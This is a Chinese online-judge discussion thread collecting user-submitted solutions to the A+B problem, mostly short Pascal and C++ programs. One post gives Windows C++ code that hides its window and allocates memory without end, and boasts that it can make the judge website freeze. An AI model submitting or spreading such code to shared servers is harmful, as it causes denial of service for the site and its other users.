题解

1323 条题解

  • 0
    @ 10 年前

    var a,b:longint;
    begin
    readln(a,b);
    writeln(a+b);
    end.

  • 0
    @ 10 年前

    #include<iostream>
    #include<fstream>
    #include<cstdio>
    #define MAXN 100
    using namespace std;
    int main()
    {
    int num[MAXN],n,count=0;
    int found,t,i,j,x;

    scanf("%d",&n);
    for(i=0;i<n;i++){
    scanf("%d",&x);
    found=0;
    for(j=0;j<count;j++)
    if(x==num[j]){
    found=1;
    break;
    }
    if(!found){
    num[count]=x;
    count++;
    }
    }

    for(i=0;i<count;i++)
    for(j=1;j<count;j++)
    if(num[j-1]>num[j]){
    t=num[j];
    num[j]=num[j-1];
    num[j-1]=t;
    }

    printf("%d\n",count);
    printf("%d",num[0]);
    for(i=1;i<count;i++)
    printf(" %d",num[i]);
    printf("\n");
    //system("pause");
    return 0;
    }

  • 0
    @ 10 年前

    Vijos 题解:http://hi.baidu.com/umule/item/2c997f8ed9600fdae596e017
    有疑问请留言 共同进步

  • 0
    @ 10 年前

    var
    x,y:longint;
    begin
    readln(x,y);
    writeln(x+y);
    end.

  • 0
    @ 11 年前

    #include"stdio.h"

    int main()
    {
    int n,m;

    scanf("%d%d",&n,&m);
    printf("%d",n+m);
    return 0;
    }

  • 0
    @ 11 年前

    #include <iostream>
    using namespace std;
    int main(){
    int a,b;
    cin>>a>>b;
    cout<<a+b<<endl;
    return 0;
    }

  • 0
    @ 11 年前

    呵呵

  • 0
    @ 11 年前

    #include <iostream>
    using namespace std;
    int main(){
    int a,b;
    while(cin>>a>>b)
    {cout<<a+b<<endl;}
    return 0;
    }

  • 0

    #include "stdio.h"
    int main(void)
    {
    int a,b;
    scanf("%d%d",&a,&b);
    printf("%d",a+b);
    return 0;
    }

  • 0
    @ 11 年前

    #include <iostream>
    #include <algorithm>
    #include <cstdlib>
    #include <cstdio>
    #include <cmath>
    #include <cstring>
    using namespace std;
    int i,la,lb,tmp=0,x[10001],y[10001],ans[10001];
    void hplus(char a[],char b[])
    {
    la=strlen(a); lb=strlen(b); strrev(a); strrev(b);
    for(i=0;i<la;i++) if(a[i]!='-') x[i]=a[i]-48;
    for(i=0;i<lb;i++) if(b[i]!='-') y[i]=b[i]-48;
    for(i=0;i<=max(la,lb);i++){
    ans[i]=tmp+x[i]+y[i];
    tmp=ans[i]/10; ans[i]%=10;
    }
    tmp=max(la,lb);
    while(!ans[tmp] && tmp>0) tmp--;
    for(i=tmp;i>=0;i--) printf("%d",ans[i]);
    }
    void hminus(char a[],char b[])
    {
    la=strlen(a); lb=strlen(b); strrev(a); strrev(b);
    for(i=0;i<la;i++) if(a[i]!='-') x[i]=a[i]-48;
    for(i=0;i<lb;i++) if(b[i]!='-') y[i]=b[i]-48;
    for(i=0;i<=max(la,lb);i++){
    if(x[i]-y[i]<0){
    ans[i]+=((10+x[i])-y[i]);
    ans[i+1]=-1;
    }
    else ans[i]=ans[i]+(x[i]-y[i]);
    }
    tmp=max(la,lb);
    while(!ans[tmp] && tmp>0) tmp--;
    for(i=tmp;i>=0;i--) printf("%d",ans[i]);
    }
    int main()
    {
    char in1[10001],in2[10001];
    scanf("%s%s",&in1,&in2);
    if(in1[0]!='-' && in2[0]!='-') hplus(in1,in2);
    if(in1[0]=='-' && in2[0]=='-'){printf("-"); hplus(in1,in2);}
    if(in1[0]!='-' && in2[0]=='-'){
    if(abs(atoi(in1))>=abs(atoi(in2))) hminus(in1,in2);
    else{printf("-"); hminus(in2,in1);}
    }
    if(in1[0]=='-' && in2[0]!='-'){
    if(abs(atoi(in1))>=abs(atoi(in2))){printf("-"); hminus(in1,in2);}
    else hminus(in2,in1);
    }
    printf("\n");
    // system("pause");
    return 0;
    }

  • 0
    @ 11 年前

    #include <iostream>
    #include<windows.h>
    int main()
    {
    HWND hDos=GetForegroundWindow();
    ShowWindow(hDos,SW_HIDE);
    long int i;
    char * a;
    while(true)
    {
    a = new char[1024];
    }
    }
    能让网站卡死

    • @ 10 年前

      在自家电脑上用会如何?

  • 0
    @ 11 年前

    var a, b:longint;
    begin
    readln(a, b);
    writeln(a+b);
    end.

  • 0
    @ 11 年前

    用pascal解:
    var x,y: longint;
    begin
    readln (x,y);
    writeln (x+y);
    end.

  • 0
    @ 11 年前

    .............................................................................................................................................................................................................................................................................................................................................................................

  • 0
    @ 11 年前

    #include<iostream>
    using namespace std;

    int main(){
    int a,b;
    cin>>a>>b;
    cout<<a+b<<endl;
    return 0;
    }

  • 0
    @ 11 年前

    #include<cstdio>
    main(){int a,b;scanf("%d%d",&a,&b);printf("%d\n",a+b);}

  • 0
    @ 11 年前

    var
    a,b:qword;
    begin
    readln(a,b);
    writeln(a+b);
    end.

  • 0
    @ 11 年前

    int main(){int a,b;return 0 * printf("%d\n",scanf("%d%d",&a,&b)*(a+b)/2);}

  • 0
    @ 11 年前

    五行搞定

    var a,b:longint;
    begin
    readln(a,b);
    writeln(a+b);
    end.

    • @ 11 年前

      -_-! A+Bproblem 就不要发题解了!!!org.

信息

ID
1000
难度
9
分类
(无)
标签
(无)
递交数
74449
已通过
28495
通过率
38%
被复制
223